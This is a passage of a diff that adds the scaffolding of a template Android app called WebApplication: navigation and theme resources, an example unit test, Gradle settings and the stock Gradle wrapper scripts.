+        android:title="@string/title_dashboard" />
+
+    <item
+        android:id="@+id/navigation_notifications"
+        android:icon="@drawable/ic_notifications_black_24dp"
+        android:title="@string/title_notifications" />
+
+</menu>

+ 6 - 0
webandroid/app/src/main/res/mipmap-anydpi-v26/ic_launcher.xml

@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="utf-8"?>
+<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
+    <background android:drawable="@drawable/ic_launcher_background" />
+    <foreground android:drawable="@drawable/ic_launcher_foreground" />
+    <monochrome android:drawable="@drawable/ic_launcher_foreground" />
+</adaptive-icon>

+ 6 - 0
webandroid/app/src/main/res/mipmap-anydpi-v26/ic_launcher_round.xml

@@ -0,0 +1,6 @@
+<?xml version="1.0" encoding="utf-8"?>
+<adaptive-icon xmlns:android="http://schemas.android.com/apk/res/android">
+    <background android:drawable="@drawable/ic_launcher_background" />
+    <foreground android:drawable="@drawable/ic_launcher_foreground" />
+    <monochrome android:drawable="@drawable/ic_launcher_foreground" />
+</adaptive-icon>

BIN
webandroid/app/src/main/res/mipmap-hdpi/ic_launcher.webp


BIN
webandroid/app/src/main/res/mipmap-hdpi/ic_launcher_round.webp


BIN
webandroid/app/src/main/res/mipmap-mdpi/ic_launcher.webp


BIN
webandroid/app/src/main/res/mipmap-mdpi/ic_launcher_round.webp


BIN
webandroid/app/src/main/res/mipmap-xhdpi/ic_launcher.webp


BIN
webandroid/app/src/main/res/mipmap-xhdpi/ic_launcher_round.webp


BIN
webandroid/app/src/main/res/mipmap-xxhdpi/ic_launcher.webp


BIN
webandroid/app/src/main/res/mipmap-xxhdpi/ic_launcher_round.webp


BIN
webandroid/app/src/main/res/mipmap-xxxhdpi/ic_launcher.webp


BIN
webandroid/app/src/main/res/mipmap-xxxhdpi/ic_launcher_round.webp


+ 25 - 0
webandroid/app/src/main/res/navigation/mobile_navigation.xml

@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<navigation xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:app="http://schemas.android.com/apk/res-auto"
+    xmlns:tools="http://schemas.android.com/tools"
+    android:id="@+id/mobile_navigation"
+    app:startDestination="@+id/navigation_home">
+
+    <fragment
+        android:id="@+id/navigation_home"
+        android:name="com.example.webapplication.ui.home.HomeFragment"
+        android:label="@string/title_home"
+        tools:layout="@layout/fragment_home" />
+
+    <fragment
+        android:id="@+id/navigation_dashboard"
+        android:name="com.example.webapplication.ui.dashboard.DashboardFragment"
+        android:label="@string/title_dashboard"
+        tools:layout="@layout/fragment_dashboard" />
+
+    <fragment
+        android:id="@+id/navigation_notifications"
+        android:name="com.example.webapplication.ui.notifications.NotificationsFragment"
+        android:label="@string/title_notifications"
+        tools:layout="@layout/fragment_notifications" />
+</navigation>

+ 16 - 0
webandroid/app/src/main/res/values-night/themes.xml

@@ -0,0 +1,16 @@
+<resources xmlns:tools="http://schemas.android.com/tools">
+    <!-- Base application theme. -->
+    <style name="Theme.WebApplication" parent="Theme.MaterialComponents.DayNight.DarkActionBar">
+        <!-- Primary brand color. -->
+        <item name="colorPrimary">@color/purple_200</item>
+        <item name="colorPrimaryVariant">@color/purple_700</item>
+        <item name="colorOnPrimary">@color/black</item>
+        <!-- Secondary brand color. -->
+        <item name="colorSecondary">@color/teal_200</item>
+        <item name="colorSecondaryVariant">@color/teal_200</item>
+        <item name="colorOnSecondary">@color/black</item>
+        <!-- Status bar color. -->
+        <item name="android:statusBarColor">?attr/colorPrimaryVariant</item>
+        <!-- Customize your theme here. -->
+    </style>
+</resources>

+ 10 - 0
webandroid/app/src/main/res/values/colors.xml

@@ -0,0 +1,10 @@
+<?xml version="1.0" encoding="utf-8"?>
+<resources>
+    <color name="purple_200">#FFBB86FC</color>
+    <color name="purple_500">#FF6200EE</color>
+    <color name="purple_700">#FF3700B3</color>
+    <color name="teal_200">#FF03DAC5</color>
+    <color name="teal_700">#FF018786</color>
+    <color name="black">#FF000000</color>
+    <color name="white">#FFFFFFFF</color>
+</resources>

+ 5 - 0
webandroid/app/src/main/res/values/dimens.xml

@@ -0,0 +1,5 @@
+<resources>
+    <!-- Default screen margins, per the Android Design guidelines. -->
+    <dimen name="activity_horizontal_margin">16dp</dimen>
+    <dimen name="activity_vertical_margin">16dp</dimen>
+</resources>

+ 7 - 0
webandroid/app/src/main/res/values/strings.xml

@@ -0,0 +1,7 @@
+<resources>
+    <string name="app_name">WebApplication</string>
+    <string name="title_home">Home</string>
+    <string name="title_dashboard">Dashboard</string>
+    <string name="title_notifications">Notifications</string>
+    <string name="tg_bot">从TG BOT获取测试地址</string>
+</resources>

+ 16 - 0
webandroid/app/src/main/res/values/themes.xml

@@ -0,0 +1,16 @@
+<resources xmlns:tools="http://schemas.android.com/tools">
+    <!-- Base application theme. -->
+    <style name="Theme.WebApplication" parent="Theme.MaterialComponents.DayNight.DarkActionBar">
+        <!-- Primary brand color. -->
+        <item name="colorPrimary">@color/purple_500</item>
+        <item name="colorPrimaryVariant">@color/purple_700</item>
+        <item name="colorOnPrimary">@color/white</item>
+        <!-- Secondary brand color. -->
+        <item name="colorSecondary">@color/teal_200</item>
+        <item name="colorSecondaryVariant">@color/teal_700</item>
+        <item name="colorOnSecondary">@color/black</item>
+        <!-- Status bar color. -->
+        <item name="android:statusBarColor">?attr/colorPrimaryVariant</item>
+        <!-- Customize your theme here. -->
+    </style>
+</resources>

+ 13 - 0
webandroid/app/src/main/res/xml/backup_rules.xml

@@ -0,0 +1,13 @@
+<?xml version="1.0" encoding="utf-8"?><!--
+   Sample backup rules file; uncomment and customize as necessary.
+   See https://developer.android.com/guide/topics/data/autobackup
+   for details.
+   Note: This file is ignored for devices older that API 31
+   See https://developer.android.com/about/versions/12/backup-restore
+-->
+<full-backup-content>
+    <!--
+   <include domain="sharedpref" path="."/>
+   <exclude domain="sharedpref" path="device.xml"/>
+-->
+</full-backup-content>

+ 19 - 0
webandroid/app/src/main/res/xml/data_extraction_rules.xml

@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?><!--
+   Sample data extraction rules file; uncomment and customize as necessary.
+   See https://developer.android.com/about/versions/12/backup-restore#xml-changes
+   for details.
+-->
+<data-extraction-rules>
+    <cloud-backup>
+        <!-- TODO: Use <include> and <exclude> to control what is backed up.
+        <include .../>
+        <exclude .../>
+        -->
+    </cloud-backup>
+    <!--
+    <device-transfer>
+        <include .../>
+        <exclude .../>
+    </device-transfer>
+    -->
+</data-extraction-rules>

+ 17 - 0
webandroid/app/src/test/java/com/example/webapplication/ExampleUnitTest.java

@@ -0,0 +1,17 @@
+package com.example.webapplication;
+
+import org.junit.Test;
+
+import static org.junit.Assert.*;
+
+/**
+ * Example local unit test, which will execute on the development machine (host).
+ *
+ * @see <a href="http://d.android.com/tools/testing">Testing documentation</a>
+ */
+public class ExampleUnitTest {
+    @Test
+    public void addition_isCorrect() {
+        assertEquals(4, 2 + 2);
+    }
+}

+ 4 - 0
webandroid/build.gradle.kts

@@ -0,0 +1,4 @@
+// Top-level build file where you can add configuration options common to all sub-projects/modules.
+plugins {
+    alias(libs.plugins.android.application) apply false
+}

+ 21 - 0
webandroid/gradle.properties

@@ -0,0 +1,21 @@
+# Project-wide Gradle settings.
+# IDE (e.g. Android Studio) users:
+# Gradle settings configured through the IDE *will override*
+# any settings specified in this file.
+# For more details on how to configure your build environment visit
+# http://www.gradle.org/docs/current/userguide/build_environment.html
+# Specifies the JVM arguments used for the daemon process.
+# The setting is particularly useful for tweaking memory settings.
+org.gradle.jvmargs=-Xmx2048m -Dfile.encoding=UTF-8
+# When configured, Gradle will run in incubating parallel mode.
+# This option should only be used with decoupled projects. For more details, visit
+# https://developer.android.com/r/tools/gradle-multi-project-decoupled-projects
+# org.gradle.parallel=true
+# AndroidX package structure to make it clearer which packages are bundled with the
+# Android operating system, and which are packaged with your app's APK
+# https://developer.android.com/topic/libraries/support-library/androidx-rn
+android.useAndroidX=true
+# Enables namespacing of each library's R class so that its R class includes only the
+# resources declared in the library itself and none from the library's dependencies,
+# thereby reducing the size of the R class for that library
+android.nonTransitiveRClass=true

+ 30 - 0
webandroid/gradle/libs.versions.toml

@@ -0,0 +1,30 @@
+[versions]
+agp = "8.5.1"
+junit = "4.13.2"
+junitVersion = "1.2.1"
+espressoCore = "3.6.1"
+appcompat = "1.7.0"
+material = "1.12.0"
+constraintlayout = "2.2.0"
+lifecycleLivedataKtx = "2.8.7"
+lifecycleViewmodelKtx = "2.8.7"
+navigationFragment = "2.8.4"
+navigationUi = "2.8.4"
+
+[libraries]
+junit = { group = "junit", name = "junit", version.ref = "junit" }
+ext-junit = { group = "androidx.test.ext", name = "junit", version.ref = "junitVersion" }
+espresso-core = { group = "androidx.test.espresso", name = "espresso-core", version.ref = "espressoCore" }
+appcompat = { group = "androidx.appcompat", name = "appcompat", version.ref = "appcompat" }
+material = { group = "com.google.android.material", name = "material", version.ref = "material" }
+constraintlayout = { group = "androidx.constraintlayout", name = "constraintlayout", version.ref = "constraintlayout" }
+lifecycle-livedata-ktx = { group = "androidx.lifecycle", name = "lifecycle-livedata-ktx", version.ref = "lifecycleLivedataKtx" }
+lifecycle-viewmodel-ktx = { group = "androidx.lifecycle", name = "lifecycle-viewmodel-ktx", version.ref = "lifecycleViewmodelKtx" }
+navigation-fragment = { group = "androidx.navigation", name = "navigation-fragment", version.ref = "navigationFragment" }
+navigation-ui = { group = "androidx.navigation", name = "navigation-ui", version.ref = "navigationUi" }
+blakj = 'com.blankj:utilcodex:1.31.0'
+okhttp3 = 'com.squareup.okhttp3:okhttp:4.12.0'
+okhttp3-logging-interceptor = 'com.squareup.okhttp3:logging-interceptor:4.12.0'
+[plugins]
+android-application = { id = "com.android.application", version.ref = "agp" }
+

+ 6 - 0
webandroid/gradle/wrapper/gradle-wrapper.properties

@@ -0,0 +1,6 @@
+#Sat Nov 23 12:38:52 CST 2024
+distributionBase=GRADLE_USER_HOME
+distributionPath=wrapper/dists
+distributionUrl=https\://services.gradle.org/distributions/gradle-8.7-bin.zip
+zipStoreBase=GRADLE_USER_HOME
+zipStorePath=wrapper/dists

+ 185 - 0
webandroid/gradlew

@@ -0,0 +1,185 @@
+#!/usr/bin/env sh
+
+#
+# Copyright 2015 the original author or authors.
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      https://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+#
+
+##############################################################################
+##
+##  Gradle start up script for UN*X
+##
+##############################################################################
+
+# Attempt to set APP_HOME
+# Resolve links: $0 may be a link
+PRG="$0"
+# Need this for relative symlinks.
+while [ -h "$PRG" ] ; do
+    ls=`ls -ld "$PRG"`
+    link=`expr "$ls" : '.*-> \(.*\)$'`
+    if expr "$link" : '/.*' > /dev/null; then
+        PRG="$link"
+    else
+        PRG=`dirname "$PRG"`"/$link"
+    fi
+done
+SAVED="`pwd`"
+cd "`dirname \"$PRG\"`/" >/dev/null
+APP_HOME="`pwd -P`"
+cd "$SAVED" >/dev/null
+
+APP_NAME="Gradle"
+APP_BASE_NAME=`basename "$0"`
+
+# Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
+DEFAULT_JVM_OPTS='"-Xmx64m" "-Xms64m"'
+
+# Use the maximum available, or set MAX_FD != -1 to use that value.
+MAX_FD="maximum"
+
+warn () {
+    echo "$*"
+}
+
+die () {
+    echo
+    echo "$*"
+    echo
+    exit 1
+}
+
+# OS specific support (must be 'true' or 'false').
+cygwin=false
+msys=false
+darwin=false
+nonstop=false
+case "`uname`" in
+  CYGWIN* )
+    cygwin=true
+    ;;
+  Darwin* )
+    darwin=true
+    ;;
+  MINGW* )
+    msys=true
+    ;;
+  NONSTOP* )
+    nonstop=true
+    ;;
+esac
+
+CLASSPATH=$APP_HOME/gradle/wrapper/gradle-wrapper.jar
+
+
+# Determine the Java command to use to start the JVM.
+if [ -n "$JAVA_HOME" ] ; then
+    if [ -x "$JAVA_HOME/jre/sh/java" ] ; then
+        # IBM's JDK on AIX uses strange locations for the executables
+        JAVACMD="$JAVA_HOME/jre/sh/java"
+    else
+        JAVACMD="$JAVA_HOME/bin/java"
+    fi
+    if [ ! -x "$JAVACMD" ] ; then
+        die "ERROR: JAVA_HOME is set to an invalid directory: $JAVA_HOME
+
+Please set the JAVA_HOME variable in your environment to match the
+location of your Java installation."
+    fi
+else
+    JAVACMD="java"
+    which java >/dev/null 2>&1 || die "ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
+
+Please set the JAVA_HOME variable in your environment to match the
+location of your Java installation."
+fi
+
+# Increase the maximum file descriptors if we can.
+if [ "$cygwin" = "false" -a "$darwin" = "false" -a "$nonstop" = "false" ] ; then
+    MAX_FD_LIMIT=`ulimit -H -n`
+    if [ $? -eq 0 ] ; then
+        if [ "$MAX_FD" = "maximum" -o "$MAX_FD" = "max" ] ; then
+            MAX_FD="$MAX_FD_LIMIT"
+        fi
+        ulimit -n $MAX_FD
+        if [ $? -ne 0 ] ; then
+            warn "Could not set maximum file descriptor limit: $MAX_FD"
+        fi
+    else
+        warn "Could not query maximum file descriptor limit: $MAX_FD_LIMIT"
+    fi
+fi
+
+# For Darwin, add options to specify how the application appears in the dock
+if $darwin; then
+    GRADLE_OPTS="$GRADLE_OPTS \"-Xdock:name=$APP_NAME\" \"-Xdock:icon=$APP_HOME/media/gradle.icns\""
+fi
+
+# For Cygwin or MSYS, switch paths to Windows format before running java
+if [ "$cygwin" = "true" -o "$msys" = "true" ] ; then
+    APP_HOME=`cygpath --path --mixed "$APP_HOME"`
+    CLASSPATH=`cygpath --path --mixed "$CLASSPATH"`
+
+    JAVACMD=`cygpath --unix "$JAVACMD"`
+
+    # We build the pattern for arguments to be converted via cygpath
+    ROOTDIRSRAW=`find -L / -maxdepth 1 -mindepth 1 -type d 2>/dev/null`
+    SEP=""
+    for dir in $ROOTDIRSRAW ; do
+        ROOTDIRS="$ROOTDIRS$SEP$dir"
+        SEP="|"
+    done
+    OURCYGPATTERN="(^($ROOTDIRS))"
+    # Add a user-defined pattern to the cygpath arguments
+    if [ "$GRADLE_CYGPATTERN" != "" ] ; then
+        OURCYGPATTERN="$OURCYGPATTERN|($GRADLE_CYGPATTERN)"
+    fi
+    # Now convert the arguments - kludge to limit ourselves to /bin/sh
+    i=0
+    for arg in "$@" ; do
+        CHECK=`echo "$arg"|egrep -c "$OURCYGPATTERN" -`
+        CHECK2=`echo "$arg"|egrep -c "^-"`                                 ### Determine if an option
+
+        if [ $CHECK -ne 0 ] && [ $CHECK2 -eq 0 ] ; then                    ### Added a condition
+            eval `echo args$i`=`cygpath --path --ignore --mixed "$arg"`
+        else
+            eval `echo args$i`="\"$arg\""
+        fi
+        i=`expr $i + 1`
+    done
+    case $i in
+        0) set -- ;;
+        1) set -- "$args0" ;;
+        2) set -- "$args0" "$args1" ;;
+        3) set -- "$args0" "$args1" "$args2" ;;
+        4) set -- "$args0" "$args1" "$args2" "$args3" ;;
+        5) set -- "$args0" "$args1" "$args2" "$args3" "$args4" ;;
+        6) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" ;;
+        7) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" ;;
+        8) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" ;;
+        9) set -- "$args0" "$args1" "$args2" "$args3" "$args4" "$args5" "$args6" "$args7" "$args8" ;;
+    esac
+fi
+
+# Escape application args
+save () {
+    for i do printf %s\\n "$i" | sed "s/'/'\\\\''/g;1s/^/'/;\$s/\$/' \\\\/" ; done
+    echo " "
+}
+APP_ARGS=`save "$@"`
+
+# Collect all arguments for the java command, following the shell quoting and substitution rules
+eval set -- $DEFAULT_JVM_OPTS $JAVA_OPTS $GRADLE_OPTS "\"-Dorg.gradle.appname=$APP_BASE_NAME\"" -classpath "\"$CLASSPATH\"" org.gradle.wrapper.GradleWrapperMain "$APP_ARGS"
+
+exec "$JAVACMD" "$@"

+ 89 - 0
webandroid/gradlew.bat

@@ -0,0 +1,89 @@
+@rem
+@rem Copyright 2015 the original author or authors.
+@rem
+@rem Licensed under the Apache License, Version 2.0 (the "License");
+@rem you may not use this file except in compliance with the License.
+@rem You may obtain a copy of the License at
+@rem
+@rem      https://www.apache.org/licenses/LICENSE-2.0
+@rem
+@rem Unless required by applicable law or agreed to in writing, software
+@rem distributed under the License is distributed on an "AS IS" BASIS,
+@rem WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+@rem See the License for the specific language governing permissions and
+@rem limitations under the License.
+@rem
+
+@if "%DEBUG%" == "" @echo off
+@rem ##########################################################################
+@rem
+@rem  Gradle startup script for Windows
+@rem
+@rem ##########################################################################
+
+@rem Set local scope for the variables with windows NT shell
+if "%OS%"=="Windows_NT" setlocal
+
+set DIRNAME=%~dp0
+if "%DIRNAME%" == "" set DIRNAME=.
+set APP_BASE_NAME=%~n0
+set APP_HOME=%DIRNAME%
+
+@rem Resolve any "." and ".." in APP_HOME to make it shorter.
+for %%i in ("%APP_HOME%") do set APP_HOME=%%~fi
+
+@rem Add default JVM options here. You can also use JAVA_OPTS and GRADLE_OPTS to pass JVM options to this script.
+set DEFAULT_JVM_OPTS="-Xmx64m" "-Xms64m"
+
+@rem Find java.exe
+if defined JAVA_HOME goto findJavaFromJavaHome
+
+set JAVA_EXE=java.exe
+%JAVA_EXE% -version >NUL 2>&1
+if "%ERRORLEVEL%" == "0" goto execute
+
+echo.
+echo ERROR: JAVA_HOME is not set and no 'java' command could be found in your PATH.
+echo.
+echo Please set the JAVA_HOME variable in your environment to match the
+echo location of your Java installation.
+
+goto fail
+
+:findJavaFromJavaHome
+set JAVA_HOME=%JAVA_HOME:"=%
+set JAVA_EXE=%JAVA_HOME%/bin/java.exe
+
+if exist "%JAVA_EXE%" goto execute
+
+echo.
+echo ERROR: JAVA_HOME is set to an invalid directory: %JAVA_HOME%
+echo.
+echo Please set the JAVA_HOME variable in your environment to match the
+echo location of your Java installation.
+
+goto fail
+
+:execute
+@rem Setup the command line
+
+set CLASSPATH=%APP_HOME%\gradle\wrapper\gradle-wrapper.jar
+
+
+@rem Execute Gradle
+"%JAVA_EXE%" %DEFAULT_JVM_OPTS% %JAVA_OPTS% %GRADLE_OPTS% "-Dorg.gradle.appname=%APP_BASE_NAME%" -classpath "%CLASSPATH%" org.gradle.wrapper.GradleWrapperMain %*
+
+:end
+@rem End local scope for the variables with windows NT shell
+if "%ERRORLEVEL%"=="0" goto mainEnd
+
+:fail
+rem Set variable GRADLE_EXIT_CONSOLE if you need the _script_ return code instead of
+rem the _cmd.exe /c_ return code!
+if  not "" == "%GRADLE_EXIT_CONSOLE%" exit 1
+exit /b 1
+
+:mainEnd
+if "%OS%"=="Windows_NT" endlocal
+
+:omega

+ 24 - 0
webandroid/settings.gradle.kts

@@ -0,0 +1,24 @@
+pluginManagement {
+    repositories {
+        google {
+            content {
+                includeGroupByRegex("com\\.android.*")
+                includeGroupByRegex("com\\.google.*")
+                includeGroupByRegex("androidx.*")
+            }
+        }
+        mavenCentral()
+        gradlePluginPortal()
+    }
+}
+dependencyResolutionManagement {
+    repositoriesMode.set(RepositoriesMode.FAIL_ON_PROJECT_REPOS)
+    repositories {
+        google()
+        mavenCentral()
+    }
+}
+
+rootProject.name = "WebApplication"
+include(":app")
+